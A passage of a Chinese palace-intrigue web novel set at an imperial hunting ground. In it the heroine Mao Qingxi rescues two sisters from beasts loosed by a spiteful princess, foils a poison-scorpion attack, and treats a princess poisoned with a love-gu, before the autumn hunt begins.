“走!”她猛地放下茶盏,从牙缝里挤出一个字,“出去散散心!整天闷在屋子里,骨头都快生锈了。” 茅清兮自然应允,唤上在一旁候着的周长明,三人一同出了营帐。 时值深秋,京郊的景色美不胜收。漫山遍野的树木都换上了金黄的衣裳,层林尽染,绚烂至极。 茅清兮与清韵并肩而行,沿着蜿蜒的山路,缓缓向山涧的方向走去。 为了图个清静,她们都没带太多侍从。 毕竟,这里是皇家猎场,安全还是有保障的。 然而,当她们抵达溪边时,却发现那里已经有人捷足先登了。 清韵的眉头顿时拧成了一个疙瘩,语气中带着明显的不悦:“真是扫兴!” 茅清兮凝神望去,只见四公主正带着几个贵女在溪边嬉戏玩耍,似乎在比赛投壶。 更让人头疼的是,贤王和乐雅书竟然也在! 一个抚琴,一个舞剑,倒也应景。 这可真是……冤家路窄,避无可避。 事已至此,茅清兮也只能硬着头皮上前见礼。 可四公主却连一句“免礼”都懒得说,只是轻蔑地瞥了她们一眼,阴阳怪气地开口: “哟,这不是茅清兮吗?听说你箭术了得,明儿个的头筹,怕不是要被你收入囊中?” 清韵双手环抱在胸前,毫不客气地回敬道: “你还是先顾好自己吧!别到时候输得太难看,哭鼻子抹眼泪的,可就丢尽了皇家的脸面!” 四公主被她噎得脸色铁青,目光如刀子般剜向清韵: “清韵,这里有你说话的份吗?” 她话锋一转,语气中带着几分挑衅:“哦,对了!你该不会是想故技重施,让你的侍卫帮你作弊吧?” “我劝你还是省省吧!这里可不是你撒野的地方!” “你……”清韵气得正要破口大骂,却被一旁的贤王笑着打断了: “臧夫人请起,莫要与小孩子一般见识。” 茅清兮这才缓缓起身,恭敬地向贤王行了一礼:“感激不尽王爷。” 清韵狠狠地瞪了四公主一眼,然后拉着茅清兮,径直坐到了贤王身边。 她跟四公主向来不对付,还是离远点好,省得又吵起来,污了耳朵。 茅清兮垂下眼帘,遮掩住眸中的思绪。 贤王今日的举动,着实有些反常。 往年这个时候,他不是应该在京城的哪个温柔乡里醉生梦死吗? 怎会突然出现在这荒郊野外? 莫非……他有什么不可告人的目的? 正思忖间,贤王却突然将话题引到了她身上,言语间带着几分试探: “早就听闻臧夫人巾帼不让须眉,今日一见,果然名不虚传。” 茅清兮谦逊地笑了笑,得体地回应: “贤王殿下谬赞了。臣妾不过是略通些拳脚功夫,实在当不得贤王殿下如此夸赞。” 贤王目光在她身上流连,笑意加深: “臧夫人过谦了。能徒手搏杀猛虎,可不是‘略通拳脚’就能做到的。” 茅清兮只是笑笑,没有接话。 贤王又道:“本王听说,你烹饪的虎肉,味道极佳?” “不过是些粗鄙的吃食,难登大雅之堂。”茅清兮语气淡淡。 “那真是可惜了,本王竟无缘品尝。”贤王故作惋惜地叹了口气,话锋一转,“对了,这猎场之中,还有一只猛虎,几位明日若是进林子狩猎,可千万小心。” 茅清兮道:“王爷指点之恩没齿难忘,我们会多加注意的。” 这时,乐雅书结束了舞剑,走到清韵面前,做足了一副谦卑恭顺的姿态: “公主殿下,臣有一事相求。” 清韵不耐烦地皱起眉头,语气冷淡:“什么事?” 乐雅书垂首道:“之前是臣思虑不周,送给公主的那匹马性子太烈,害得公主受了伤。臣心中实在过意不去,想为公主做些什么,以弥补臣的过失。” 清韵冷笑一声:“不必了。那马是我自己挑的,与你无关。你若真觉得过意不去,以后少在本公主面前晃悠就行了。” 乐雅书脸色微变,但很快又恢复了正常,继续说道: “公主殿下,臣是真心想向您赔罪,还请公主殿下给臣一个机会。” “你……”清韵被他缠得心烦,正要发作,却见他突然从怀中掏出一个精致的锦盒,双手捧到她面前,“这是臣特意为公主寻来的‘雪玉膏’,对于祛除疤痕有奇效。还请公主殿下收下,给臣一个将功补过的机会。” 清韵瞥了一眼那锦盒,眼神中闪过一丝犹豫。 哪个女子不爱惜自己的容貌? 更何况,她还是金枝玉叶的公主。 可一想到这东西是乐雅书送的,她心里就膈应得慌。 “拿走!”清韵冷冷地吐出两个字,“本公主不需要!” 乐雅书的脸色顿时变得有些难看,但他还是强忍着没有发作,只是低声下气地说道: “公主殿下……” “是不是耳朵进水了?本宫命你立刻消失!”清韵毫不客气地打断了他,声音陡然拔高。 周围的人都被这边的动静吸引了,纷纷投来探究的目光。 乐雅书的脸色一阵青一阵白,尴尬至极。 他僵持了片刻,最终还是选择了退让,默默地收起锦盒,躬身告退: “臣……臣先行告退,臣告退。” 转身的瞬间,乐雅书脸上的伪装再也维持不住,神色阴沉得可怕。 他精心策划了这么久,原本以为十拿九稳的事情,却被茅清兮搅了局。 清韵的态度转变,一定跟那个女人脱不了干系! 乐雅书暗暗咬牙,心中对茅清兮的恨意又加深了几分。 “这个乐雅书,简直是阴魂不散!” 清韵气得直跺脚,显然是被乐雅书的举动给恶心到了。 茅清兮看着乐雅书离去的背影,若有所思。 乐雅书如此费尽心思地接近清韵,究竟是为了什么? 仅仅是为了讨好清韵,博取她的欢心? 恐怕没那么简单。 第二百零一章 太子……长公主……这其中,到底隐藏着什么秘密? “别理他!咱们去那边看看。”清韵拉起茅清兮的手,试图转移注意力。 茅清兮顺着她的视线望去,只见周长明正站在溪边,手里拿着一根削尖了的树枝,专心致志地练习着瞄准。 他将另一根树枝远远地抛进溪水中,然后迅速掷出手中的树枝。 只见那树枝在空中划过一道凌厉的弧线,精准无比地插入了一条正在游动的鱼身上。 周长明似乎对周围的一切都漠不关心,只沉浸在自己的世界里。 茅清兮见状,心中不由得泛起一丝心疼。 这孩子,从小就缺乏安全感,所以才会如此执着于变强吧。 “这孩子身手不错。”贤王不知何时走了过来,笑着说道,“不如,让他给我们烤几条鱼尝尝?” 清韵闻言,眼睛一亮,连连点头:“好啊好啊!我早就饿了!” 她转头看向周长明,大声喊道:“长明!快过来,给我们烤鱼吃!” 周长明听到喊声,这才抬起头来,看了她们一眼,然后默默地走过来,开始处理那些鱼。 清韵兴致勃勃地看着他熟练的动作,忍不住感叹道: “清兮,你这个徒弟,还真是多才多艺啊!” 茅清兮笑了笑,没有说话。 “烤鱼而已,算什么多才多艺。”一个清冷的声音突然插了进来。 众人循声望去,只见四公主正带着几个贵女缓缓走来,脸上带着毫不掩饰的嘲讽。 “就是,不过是些上不得台面的玩意儿。” “跟我们玩的投壶比起来,简直是云泥之别。” …… 几个贵女附和着四公主,语气中满是轻蔑。 清韵顿时气不打一处来,正要开口反驳,却被四公主抢先一步打断: “哎呀,你们快看,那边好像有人落水了!” 四公主故作惊讶地指着溪水的另一边,声音尖锐而刺耳。 众人顺着她手指的方向望去,果然看到一个女子正在水中拼命挣扎,口中还不断地呼喊着“救命”。 “是张家的小妹!”有人惊呼出声。 茅清兮的脸色微微一变。 她认得那个落水的女子,正是那天她在四公主府上救下的张家姐妹中的妹妹。 四公主看着水中狼狈不堪的女子,嘴角勾起一抹残忍的笑容。 她身边的那些贵女们,也纷纷露出了幸灾乐祸的表情。 “哎呀,这可怎么办才好?”四公主假惺惺地说道,“这里好像没有人会凫水啊。” 她故意将目光转向茅清兮,眼神中带着挑衅。 茅清兮的眉头紧紧地皱了起来。 她知道,四公主这是在故意给她出难题。 如果她出手相救,就等于再次落了四公主的面子; 可如果她袖手旁观,又实在于心不忍。 就在她犹豫不决的时候,周长明突然扔下手中的烤鱼,纵身跳入了冰冷的溪水中。 他像一条灵活的鱼儿,迅速地朝着落水的女子游去。“这也有人来坏本公主的好事。” 四公主钱巧芍远远望着溪水中扑腾的身影,红唇边漾起一抹玩味的笑。 她把玩着腰间的一枚玉佩,阳光下,那玉佩的成色和雕工,无一不彰显着其主人的尊贵。目光流转,落在了水中正奋力朝岸边游去的周长明身上: “我记得,猎场的溪水里,养了些特别的‘小玩意儿’?” 语气轻飘飘的,听不出喜怒。 周围几个平日里与她交好的贵女闻言,微微一怔,随即交换了一个眼神,都从彼此眼中看到了一丝兴奋。 “公主说的,可是那几条水蛟?” “那种东西,臣女们光是想想都害怕,也只有公主您,才敢养在身边呢。” 话里带着明显的讨好,又隐隐透着几分跃跃欲试。 趴在地上的孔清晚,原本还死死盯着水中的妹妹孔清雅。此刻,她猛地抬起头,脸色煞白,眼底满是惊恐和绝望。她想开口,却被身旁的侍卫狠狠一脚踩在背上,发出一声闷哼。 四公主对孔清晚的反应很是满意,嘴角的笑意更深了: “本公主就是想看看……它们饿了没有。” 最后一个字音落下,带着一丝令人心悸的寒意。 猎场的侍卫们立刻行动。他们早有准备,几条巨大的黑影被放入溪水中,入水时带起的水花几乎可以忽略不计。 那些黑影在水下穿梭,速度极快,却又悄无声息。 岸上的人毫无察觉,他们的注意力都被周长明吸引了。 只见周长明已经游到了孔清雅身边。他一手抓住孔清雅的手臂,将她整个人搭在自己肩上,借着浮力,奋力向岸边游去。 孔清雅呛了几口水,脸色惨白,浑身因为恐惧和寒冷而微微颤抖。她紧紧抓住周长明的手臂,仿佛那是她唯一的依靠。 茅清兮一直关注着这边的动静,她的听力远超常人。此刻,她捕捉到了一丝异样的水声,那声音,绝不是普通的鱼类能够发出的。 “长明!小心!” 茅清兮脸色一变,厉声示警。 几乎是同一时间,“三寒霜”出鞘! 剑鸣如龙吟,寒光四射。 茅清兮没有丝毫犹豫,内力灌注剑身,“三寒霜”带着一往无前的气势,破空而去,精准地刺入周长明身侧的水中! 入水处,正是水流最急的地方。 周长明听到师父的声音,心头一凛,下意识地回头。 “三寒霜”的剑身还在微微颤动,带起一圈圈涟漪。 下一秒,鲜血染红了水面,触目惊心。 水下有东西,而且,是极度危险的东西! 周长明的反应极快,他反手拔出腰间的短剑,那是他从不离身的武器。他将孔清雅护在身后,目光如鹰隼般锐利,紧紧盯着水面的动静。 “怎么回事?” 清韵公主和贤王钱云熙也发现了不对劲,快步走了过来。 不等茅清兮回答,水面陡然炸开! 一条巨大的黑影破水而出,张开血盆大口,朝着周长明和孔清雅狠狠咬下! 那一口锋利的牙齿,闪烁着森冷的寒光,仿佛能将一切都撕成碎片。 “是水蛟!” 清韵公主惊呼出声,声音都有些破音。 钱云熙的脸色铁青,他看着那在水中翻滚的巨大身影,声音中带着压抑的怒火: “谁放的水蛟?!” 他目光一转,落在了不远处的四公主身上。 只见钱巧芍正带着一群贵女站在那里,脸上带着看好戏的笑容。 钱云熙瞬间明白了,他紧紧握住拳头,指节因为用力而泛白。 “胡闹!” 钱云熙怒喝一声,转头对着身后的侍卫厉声吩咐: “愣着干什么?救人!” 然而,已经迟了。 茅清兮的速度比任何人都快。 第二百零二章 她足尖一点,整个人如同鬼魅一般,掠向溪水。 俞霜也紧随其后。 两人在空中留下一道残影。 孔清雅已经被吓得魂飞魄散,她紧紧闭着眼睛,浑身颤抖,只觉得一股死亡的气息将她笼罩。 “不……” 她发出绝望的低呼,声音微弱,几不可闻。 她下意识地想要推开周长明,却已经来不及了。 “呛啷!” 一声刺耳的金铁交鸣声,打断了孔清雅的思绪。 她猛地睁开眼睛,只见周长明手中的短剑,竟然硬生生地挡住了水蛟的巨口! 短剑虽然无法刺穿水蛟坚硬的鳞甲,却卡在了它的上下颚之间,让它无法合拢。 争取到了一线生机! “快走!” 周长明的声音低沉而嘶哑,他用尽全身力气,将孔清雅向岸边推去。 与此同时,茅清兮和俞霜也已经赶到。 茅清兮手中的“三寒霜”发出一声清越的剑鸣,她找准时机,从水中拔出长剑,剑尖直指水蛟的眼睛! “吼——” 水蛟发出一声震耳欲聋的嘶吼,它的眼睛被“三寒霜”刺中,剧烈的疼痛让它疯狂地扭动着身体,掀起巨大的水花。 茅清兮身形灵动,在水蛟的背上几个起落,每一次落脚,都精准地避开了水蛟的攻击。 她的目光冷静而锐利,手中的“三寒霜”再次挥出! 另一边,俞霜也展现出了惊人的实力,他身形如同鬼魅,在水蛟的攻击下,灵活的躲闪,最终成功将另一头水蛟制服。 两人配合默契,茅清兮负责主攻,俞霜则负责策应和救援。 最终,茅清兮一剑封喉,彻底解决了那条受伤的水蛟。 她跃上岸边,与俞霜一起,将周长明和孔清雅拉了上来。 “茅清兮,你好大的胆子!” “你竟敢杀本公主的水蛟!” 四公主钱巧芍气急败坏地冲了过来,指着茅清兮的鼻子,声音尖锐得几乎要刺破人的耳膜。 清韵公主连忙拿来一件干净的衣裳,给浑身湿透的孔清雅披上,又轻声安慰了几句。 茅清兮则是蹲下身,仔细检查孔清雅的衣物。 她总觉得事情有些蹊跷。 果然,她在孔清雅的腰间发现了一个香囊,香囊散发着一种特殊的药草味。 她打开香囊,仔细辨认里面的药材,眼神逐渐变得冰冷。 这是……能引诱水蛟发狂的药草。 “钱巧芍,” 茅清兮抬起头,直视着四公主,语气中带着一丝寒意, “这东西,是你给她的?” 清韵公主也反应过来,她怒视着四公主: “你竟然用这种下作的手段!你是想害死她吗?!” 钱巧芍却是一脸的无所谓,她冷笑一声: “本公主不过是丢了一支发簪,让她帮忙捡一下罢了。” 她微微侧头,看向孔清雅,眼神中带着一丝警告: “你说,是不是?” 孔清雅脸色苍白,嘴唇颤抖着,眼泪在眼眶里打转。 她想否认,可是,想到姐姐还在四公主的手里,想到父亲的安危,她只能咬着牙,点了点头。 “是……” 她声音微弱,几乎听不见。 “若不是你拿我爹做要挟,我们姐妹又怎会……” 孔清雅的姐姐孔清晚再也忍不住,她挣扎着想要起身,却因为腿上的伤,一个踉跄,差点摔倒。 “姐姐!” 孔清雅惊呼一声,连忙想要去扶。 “够了!” 钱云熙冷喝一声,打断了这混乱的局面。 他看着四公主,眼神中充满了失望和愤怒: “三妹,你太胡闹了!” “这里都是朝中大臣的家眷,你如此行事,置皇家颜面于何地?” 他的声音虽然不高,却带着一种不容置疑的威严。 钱巧芍却是不以为然,她冷笑一声: “五哥,你什么时候也开始管起我的事来了?” “我不过是跟她们玩玩罢了,谁让她们这么不经吓?” 钱云熙的脸色更加难看,他看着钱巧芍,一字一顿地说: “玩玩?你这是在拿人命当儿戏!” “今日之事,我定会禀明父皇,让他来评评理!” 钱巧芍的脸色终于变了,她没想到钱云熙竟然会如此不留情面。 她咬了咬牙,狠狠地瞪了孔清雅一眼,然后拂袖而去。 “我们走!” 孔清雅看着四公主离去的背影,眼中充满了恐惧和不安。 她紧紧地抓住姐姐的手,身体微微颤抖。 孔清晚轻轻拍了拍她的手背,示意她安心。 贤王走到张家姐妹面前,语气温和: “两位姑娘受惊了。” “是本王管教无方,让你们受委屈了。” 孔清晚连忙摇头,她挣扎着想要行礼,却被钱云熙拦住了。 “不必多礼。” 孔清晚抬起头,看着钱云熙温和的目光,眼中闪过一丝异样的情绪。 她微微低头,轻声说道: “感激王爷大恩……” 茅清兮将这一切都看在眼里,她心中隐隐觉得,事情并没有这么简单。 她让俞霜带着周长明回去换衣服,自己则留下来,继续烤鱼。 张家姐妹没有替换的衣物,清韵公主便邀请她们去自己的帐篷。 不多时,换好衣服的众人再次回到了篝火旁。 茅清兮已经将鱼架在火上,开始烤了起来。鱼肉在火焰的炙烤下,散发出诱人的香味。 清韵公主一屁股坐到茅清兮的旁边,眼睛直勾勾地盯着架上的烤鱼。 “清兮,这鱼什么时候能好啊?” 她吞了吞口水,一副馋涎欲滴的样子。 茅清兮瞥了她一眼: “急什么,一会儿就好。” 清韵公主嘿嘿一笑,转头对周长明说道: “长明,你师父可真是厉害,什么都会!” 周长明用力点头,语气中充满了骄傲和自豪: “那是当然,我师父是这世上最厉害的人!” 他抓了抓头发,看着专心烤鱼的茅清兮,总觉得师父好像有些不高兴。 可他又不知道为什么。 张氏姐妹围坐火堆边,孔清晚的腿经过了简单的处理,已经不那么疼了。 她拄着一根临时找来的树枝,在侍女的搀扶下,小心翼翼地坐了下来。 她看起来有些局促不安,安静地坐在那里,尽量不发出任何声音。 茅清兮通过交谈,得知了张家姐妹的名字,姐姐叫孔清晚,妹妹叫孔清雅。 孔清雅的性格比孔清晚要活泼许多,她挨着周长明坐下,叽叽喳喳地说个不停。 周长明有些不知所措,他向来不擅长跟女孩子打交道。 他偷偷地向茅清兮投去求救的目光,却被茅清兮无视了。 茅清兮专心致志地翻动着架上的烤鱼,仿佛没有注意到他的窘迫。 等到鱼烤好后,茅清兮让清韵公主将烤鱼分给大家。 清韵公主也没有推辞,按照顺序,将烤鱼一一分发。 第二百零三章 分到孔清晚面前的时候,孔清晚并没有立刻接过去,而是将烤鱼递给了钱云熙。 “贤王殿下,您先请。” 她的声音很轻,带着一丝不易察觉的温柔。 钱云熙微微一愣,随即笑着说道: “多谢张姑娘。” 他接过烤鱼,轻轻咬了一口。 孔清晚的脸颊微微泛红,她连忙移开目光,不敢再看钱云熙。 然而,她的视线却与茅清兮清冷的目光撞了个正着。 孔清晚的心脏猛地一跳,像是被什么东西狠狠地撞了一下。 她连忙露出一个温婉的笑容,轻声说道: “臧夫人,今日多亏了您出手相救,否则……” 她没有再说下去,只是感激地看着茅清兮。“看来我和你们姐妹,还真有些缘分。”茅清兮将“三寒霜”缓缓归鞘,动作优雅而随意。 她顿了顿,语气平淡地说:“你们两次遭四公主刁难,恰好我都在。这回我要是再不出手,怕是连老天爷都看不过去了。” 孔清晚眼眶泛红,声音带着一丝不易察觉的颤抖:“能遇到夫人……真是我们姐妹几世修来的福气。我们……愿为夫人做任何事,以报答夫人的大恩大德。” 孔清雅也连连点头,目光热切:“是啊夫人!您有什么吩咐,只管跟我们说!我们姐妹俩赴汤蹈火,在所不辞!” 茅清兮静静地看着她们,没有说话。 孔清晚被看得有些局促,眼神闪烁,下意识地躲开了她的目光。 好一会儿,茅清兮才轻笑一声,打破了这令人窒息的沉默。 “报答倒是不必了。”她语气一转,目光落在了不远处的贤王和清韵公主身上,“不过……今天这事儿,可不是我一个人的功劳。你们,是不是也该谢谢他们?” “您说的是,您说的是。”孔清晚似月初醒,急忙拉着妹妹转向贤王和清韵公主,屈膝行礼,深深拜了下去,“多谢贤王殿下和清韵公主的救命之恩,我们姐妹二人没齿难忘!” 钱云熙依旧是那副温文尔雅的样子,笑着摆了摆手,示意她们不必多礼。 清韵公主则显得有些漫不经心。她会出手相助,完全是因为自家徒弟周长明跳下水救了人。 她总不能眼睁睁看着自家徒弟涉险吧? 不过话说回来,这张家姐妹也真够倒霉的。不过被四公主盯上的人海了去了,难道还能个个都救? 几个人在溪边稍作休息,等到天色完全暗了下来,才动身返回营地。 夜色如墨,四周一片寂静,只能听见风吹过树叶的“沙沙”声。 回去的路上,孔清晚一直紧紧依偎着孔清雅,好几次,她都像是想说什么,可话到了嘴边,又咽了回去。 终于,在离营地不远的地方,她停下了脚步。 她转过身,面对着茅清兮,双膝一弯,就要跪下去:“臧夫人,臣女……” “我们姐妹二人是被四公主带来的,现在……走投无路,不知夫人能否收留我们?”孔清雅抢先一步说道,打断了孔清晚的话。 她低着头,声音有些发颤:“我们……实在是无处可去了,只能求夫人您……行行好。” 茅清兮没有回答,只是将目光移向了周长明。 “你救的人,你自己看着办。” 说完,她头也不回地走了。 “啊?”周长明愣在原地,完全没反应过来。 这……这是什么意思? 师父是同意了,还是不同意? 他求助地看向俞霜,眼神中充满了迷茫和无助。 俞霜无奈地叹了口气,只得在她们营帐附近,又额外给张家姐妹安排了一处住处。 安顿好张家姐妹后,周长明独自在茅清兮的帐篷外徘徊,犹豫着要不要进去。 俞霜从里面出来,见他这副模样,便问:“怎么,找你师父有事?” “师父……她老人家是不是……生气了?”周长明的声音很小,带着一丝忐忑。 俞霜微微皱眉。 主子平日里看着清冷,实际上却是个心善的人,很少动怒,更不会无缘无故迁怒于人。 除非……周长明真的做了什么惹她不高兴的事。 可今天,除了救人这事…… 俞霜心中一动,莫非,主子是因为这事儿不悦? 她想了想,对周长明说:“你先回去歇着吧,有事明天再说。” 打发走周长明,俞霜转身回到了帐篷里。 夜深了,茅清兮已经睡下了。 帐篷里静悄悄的,只有微弱的呼吸声。 忽然,一阵细微的“窸窣”声,打破了这夜的宁静。 这声音极轻,像是什么小虫子在爬动,就连守在外面的俞霜,都没有察觉到。 熟睡中的茅清兮,更是毫无察觉。 那东西,悄无声息地从帐篷的缝隙中钻了进来,沿着地面,一点点向床边靠近。 它爬上床,慢慢地,越来越近…… 就在它准备向茅清兮发起攻击的那一刻—— “唰!” 一道寒光,在黑暗中陡然亮起! 茅清兮手中的“三寒霜”,准确无误地刺穿了那东西的身体! 她随手一挥,内力涌动,帐篷里的蜡烛“腾”地一下亮了起来。 俞霜听到动静,立刻冲了进来:“主子,出什么事了?!” 她一眼就看到了被茅清兮钉在床上的毒蝎,顿时吓得魂飞魄散:“这……这是什么?!” “是毒蝎!属下该死,竟然让这东西进了帐篷!”俞霜“扑通”一声跪倒在地,声音都在发抖。 茅清兮缓缓起身,示意她起来:“起来,不怪你。” 俞霜颤抖着站起身,看着那只仍在微微挣扎的毒蝎,心有余悸。 如果不是主子警觉,后果简直不堪设想。 “这……皇家猎场里,怎么会有这种东西?”俞霜惊魂未定地问道。 “我也想知道。”茅清兮的声音冰冷刺骨。 这只毒蝎,目标很明确,就是冲着她来的。 要是她反应稍慢一点,现在恐怕已经命丧黄泉了。 这毒蝎的毒性极强,一旦被咬中,毒液会迅速蔓延全身。 就算她武功再高,也未必能活下来。 皇家猎场里,竟然有人养这种毒物,这手段,和南疆那些玩蛊的邪派如出一辙。 这背后的人,究竟是谁? 茅清兮的脑海中,飞快地闪过几个名字。 和她有仇的,数来数去也就那么几个人。 她突然站起身,沉声道:“去别处看看!” 俞霜立刻反应过来:“是!” 两人先去了周长明的住处。 一番仔细搜查下来,并没有发现任何可疑之处。 接着,她们又去了隔壁张家姐妹的住处。 依旧是一无所获。 茅清兮还是不放心。 她决定去清韵公主的住处看看。 清韵公主的帐篷外,戒备森严。 第二百零四章 不仅有侍卫把守,还有两个丫鬟守夜。 照理说,应该不会有什么问题。 但如果对方用的是毒蝎这种东西,这些侍卫和丫鬟,根本防不胜防。 茅清兮走到帐篷前,清韵公主的贴身丫鬟小棠立刻迎了上来,屈膝行礼:“臧夫人,您怎么来了?” “你们公主歇下了?”茅清兮问。 “是,公主从溪边回来,身上有些乏,就早早睡下了。”小棠回答,“臧夫人,您找公主有事吗?让我去把公主叫起来吧?” “不必。”茅清兮说着,就要往里走。 小棠一愣,下意识地想要阻拦:“臧夫人,这……” “怎么,我不能进去?”茅清兮微微挑眉。 “奴婢不是这个意思……”小棠连忙解释,“只是公主已经睡下了,您……” “放心,我只是看看就走。”茅清兮说着,已经绕过小棠,走进了帐篷。 帐篷里,清韵公主睡得很熟。 茅清兮四下打量了一番,没有发现任何异常。 就在她想溜的瞬间,她的目光,落在了桌上的茶壶上。 她走过去,拿起茶壶,轻轻摇晃了几下。 茶壶里,还有一些残茶。 茅清兮将茶水倒进杯子里,仔细观察。 茶水清澈,一切都很正常。 她又拿起茶杯,凑到鼻尖闻了闻。 一股淡淡的茶香,也没有什么不对劲。 茅清兮的眉头,微微皱了起来。 她又仔细检查了茶壶和茶杯,依旧没有发现任何可疑之处。 难道……是自己多心了? 就在这时,她的余光,瞥见了茶几上的一只香炉。 香炉里,还燃着一小截熏香,散发着淡淡的香气。 茅清兮心中一动,走过去,拿起香炉,仔细观察起来。 香炉里的熏香,已经快要燃尽了,只剩下一点点灰烬。 茅清兮将香炉凑到鼻尖,轻轻嗅了嗅。 这香…… 她的脸色,突然一变! “这香是谁点的?!”她猛地转过身,厉声问道。 小棠吓了一跳,连忙回答:“是……是奴婢点的。公主说,这香能安神,有助于睡眠……” “这香不是公主常用的那种!”茅清兮打断了她的话,声音冷得像冰,“这香里,被人加了东西!” 她一把抓住清韵公主的手腕,开始把脉。 脉象……果然不对劲! 茅清兮的脸色,变得越来越难看。 她毫不犹豫地解开了清韵公主胸前的衣襟。 “明……臧夫人,您这是做什么?!”小棠吓坏了,急忙上前,却又不敢真的阻拦,“公主……公主这是咋了?” “她中蛊了。”茅清兮的声音,低沉而凝重,“俞霜,快!把我的针拿来!” 俞霜不敢耽搁,立刻转身冲了出去。 小棠听到“蛊”字,顿时吓得脸色惨白,差点晕过去:“蛊……蛊毒?公主怎么会……怎么会中蛊?” 茅清兮没有时间解释,她迅速封住了清韵公主胸口的几处大穴,阻止蛊虫继续蔓延。 等俞霜把针拿来后,她立刻开始施针。 一枚枚银针,准确地刺入清韵公主的穴位。 茅清兮的神情专注而严肃,额头上渗出了一层细密的汗珠。 她万万没想到,清韵公主中的,竟然是媚蛊。 要不是自己察觉到这熏香不对劲,又仔细诊了脉,恐怕还真发现不了这隐藏极深的蛊毒。 媚蛊…… 茅清兮心中一沉,下蛊之人,已经昭然若揭了。媚蛊,这东西,最是歹毒,缠绵入骨,难解难分。 茅清兮心里清楚,自己虽能暂时压制清韵体内的子蛊,但若要斩草除根,还得靠乐雅书身上的阴蛊。 为今之计,只能先护住清韵的心脉,再做打算。 她凝神静气,捻起一枚细长的银针,缓缓刺入清韵眉心。 “唔……” 一声若有若无的低吟,清韵缓缓睁开了眼。 “清兮……?这是……” 她声音有些发颤,眼神迷茫,落在茅清兮关切的脸上。 她想撑起身子,却发现四肢无力,连抬手的力气都没有。 视线往下,才猛然发现自己衣衫凌乱,雪白的肌肤若隐若现。 清韵“腾”地一下,脸红得像要滴血,声音都变了调: “我……这是怎么回事?” 茅清兮言简意赅: “你中了媚蛊。” 媚蛊? 清韵虽不通南疆巫蛊之术,却也听过蛊虫的厉害。 她打了个寒噤,声音里带了一丝哭腔: “我……我是不是快死了?” 茅清兮摇头,轻声安抚: “别怕,暂时无碍。我用银针封了你胸前几处要穴,蛊虫暂时近不了你的心脉。” 清韵稍稍安心,可还是忍不住追问: “中了媚蛊……会如何?” “会对种下阴蛊之人,情根深种,无法自拔。” 茅清兮语气平淡,仿佛在谈论一件与己无关的小事。 清韵却如遭雷击,猛地睁大了眼睛,一脸惊恐。 “什么?!” 她差点从床上蹦起来,只觉得一阵恶寒,浑身的鸡皮疙瘩都冒了出来。 “谁……到底谁在背后搞鬼?” 她声音颤抖,死死盯着茅清兮,眼底燃起熊熊怒火。 还需要问吗? 答案已经昭然若揭。 清韵脸色铁青,牙齿咬得咯咯作响,恨不得将那人千刀万剐: “乐雅书……他……他竟敢如此对我!” 她猛吸一口气,强压下翻涌的怒意: “本公主……定要将他碎尸万段!” “不可,”茅清兮拦住她,语气沉静,“你体内子蛊,需以他身上阴蛊为引,方能彻底拔除。在此之前,你需……假意逢迎。” “什么?!” 清韵怀疑自己听错了,瞪大了眼睛看着茅清兮。 “让……我对他……假笑?” 她感觉胃里一阵翻滚,恶心得想吐。 “还不如……一刀杀了我痛快!” 茅清兮看着她,唇角微微勾起,露出一丝极淡的笑意: “放心,有我在,你不会有事。” “嗯……”清韵看着茅清兮,眼中满是依赖,“清兮,我相信你,只要有你在,我就不怕。” 茅清兮收了针。 眼下媚蛊虽被暂时压制,但终究是个祸患。 必须尽快想个万全之策,将此事彻底了结。 茅清兮让清韵装作若无其事,自己也回房休息。 次日,狩猎季拉开帷幕。 金色的阳光洒在猎场上,旌旗招展,人声鼎沸。 皇帝身着明黄色的骑装,端坐在高台上,精神矍铄。 台下,文武百官、世家子弟跪了一地,山呼万岁。 “都平身吧。” 皇帝的声音洪亮,在猎场上空回荡。 “今日秋猎,诸位爱卿当奋勇争先,扬我大晋国威!” 他顿了顿,目光扫过太子钱云霄、宁王、贤王,最后停留在七皇子身上。 “皇儿们,你们也当全力以赴,莫负朕望! 第二百零五章 ” “儿臣等,定不负父皇所托!” 几个皇子齐声应道,声震四野。 “好!” 皇帝捋了捋胡须,脸上露出满意的笑容。 这时,几只矫健的猎鹰从远处飞来,在空中盘旋。 按照惯例,本该由皇帝亲射第一箭,以示秋猎开始。 但近几年,这差事都交给了太子钱云霄。 钱云霄也习以为常,正要上前接弓。 “慢着。” 皇帝忽然开口,打断了他的动作。 “今日这第一箭,就由老五来射吧。” 此言一出,全场皆惊。 钱云霄脸色骤变,其他人也面面相觑,猜不透皇帝的心思。 官场上的事,风云变幻,错综复杂。 圣上对太子的态度,真是越来越扑朔迷离了。 暗流涌动,各方势力都在暗中角力。 贤王微微一怔,随即回过神来,快步走到皇帝面前,跪地行礼: “儿臣遵旨!” “五弟平日里舞文弄墨还行,这拉弓射箭嘛……” 宁王在一旁阴阳怪气地说道。 “怕是有些生疏了,今日这般重要的场合,可别失了手。” “皇兄多虑了。” 贤王淡淡地回了一句,从内侍手中接过弓箭。 钱云霄脸色铁青,死死地盯着贤王,双手紧紧握成拳头,指节泛白。 他深吸一口气,努力平复着自己的情绪,不让旁人看出端倪。 贤王缓缓拉开弓,目光如炬,气势逼人。 万众瞩目之下,他手臂一松,羽箭如离弦之矢,破空而去,正中一只猎鹰。 “好!” “贤王殿下威风凛凛!” 侍卫捡回猎鹰,高举过头,向众人展示。 顿时,山呼海啸般的欢呼声响彻云霄。 钱云霄的脸色,阴沉得几乎能滴下水来。 他目光阴冷地锁定贤王远去的身影,眼神中充满了嫉恨与不甘。 “秋猎,开始!” 皇帝大手一挥,号角齐鸣。 几位皇子纵马扬鞭,率先冲入猎场。 茅清兮和清韵共乘一骑,不疾不徐地跟在后面。 秋猎伊始,众人皆摩拳擦掌,跃跃欲试。 有些身手矫健的,早就策马奔腾,追逐猎物去了; 有些不擅骑射的,也让侍卫帮忙,猎些野味,也好在人前显摆。 “茅清兮,咱们再比试比试!” 四公主突然纵马而来,拦住去路,语气依旧嚣张。 茅清兮无意与她纠缠: “四公主箭术超群,臣妇自愧不如,甘拜下风。” “你!” 四公主被她噎得一愣,气得直咬牙。 “要比试你找别人去!” 清韵不耐烦地说道。 “今天清兮要陪我,没空理你。” “哼,胆小如鼠!” 四公主不屑地嗤笑。 “就你这样,还妄想嫁给冀容白?” 茅清兮轻轻一带马缰,语气平静: “四公主不必激我,我已是燕世子明媒正娶的妻子,这是改变不了的事实。” “我等着瞧,看冀容白何时休了你!” 四公主说罢,故意扬起马鞭,朝茅清兮挥去。 茅清兮面不改色,鞭子几乎是擦着她的脸颊飞过,险些伤到她。 